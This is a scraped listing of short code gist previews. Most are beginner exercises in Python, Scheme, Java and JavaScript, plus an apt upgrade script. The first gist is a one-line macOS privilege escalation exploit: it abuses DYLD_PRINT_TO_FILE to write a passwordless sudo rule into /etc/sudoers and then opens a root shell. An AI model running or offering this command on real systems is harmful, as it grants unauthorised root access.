This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
lines = sys.stdin.readlines() | |
N = lines[0] | |
A = list(lines[1].split(' ')) | |
B = [] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; add and set numbers in scheme - David | |
(let* | |
( | |
(a 1) | |
(b 2) | |
(c 3) | |
) | |
;;(display + a b ) (newline) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
>>> a = [[0]*10]*10 | |
>>> a | |
[[0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]] | |
>>> a[0][0] = 1 | |
>>> a | |
[[1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 0, 0, 0, 0, 0, 0, 0, 0, 0]] | |
>>> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def solveMeSecond(a,b): | |
return a+b | |
n = int(input()) | |
for i in range(0,n): | |
a, b = input().split() | |
a,b = int(a),int(b) | |
res = solveMeSecond(a,b) | |
print (res) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public class Magic { | |
public static void main(String[] args) { | |
//Print the console number | |
int mynumber=4; | |
int stepOne = mynumber; | |
int stepTwo = stepOne; | |
int stepThree = stepTwo % 4; | |
int stepFour = stepThree + 17; | |
int stepFive = stepFour - 4; | |
int stepSix = stepFive % 6; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
app.controller('ScoreController', ['$scope', function($scope) { | |
$scope.scores = [ | |
{ | |
datetime: 1420848000000, | |
visitor_team: { | |
city: "Charlotte", | |
name: "Hornets" | |
}, | |
home_team: { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
print(30 * 30) | |
print('hello') | |
def example(): | |
print('function call') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var main = function() { | |
$('form').submit(function() { | |
var firstName = $('#first').val(); | |
var lastName = $('#last').val(); | |
var email = $('#email').val(); | |
var password = $("#password").val(); | |
if (firstName === "") { | |
$('.first-name-error').text("Please enter your first name"); | |
} | |
if (lastName === "") { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
echo "Running System Renovations ..." | |
sudo apt-get install -y && sudo apt-get upgrade -y && sudo apt-get autoremove -y | |
sudo apt-get dist-upgrade | |
sudo apt-get -f install && sudo apt-get -y autoclean && sudo apt-get -y clean | |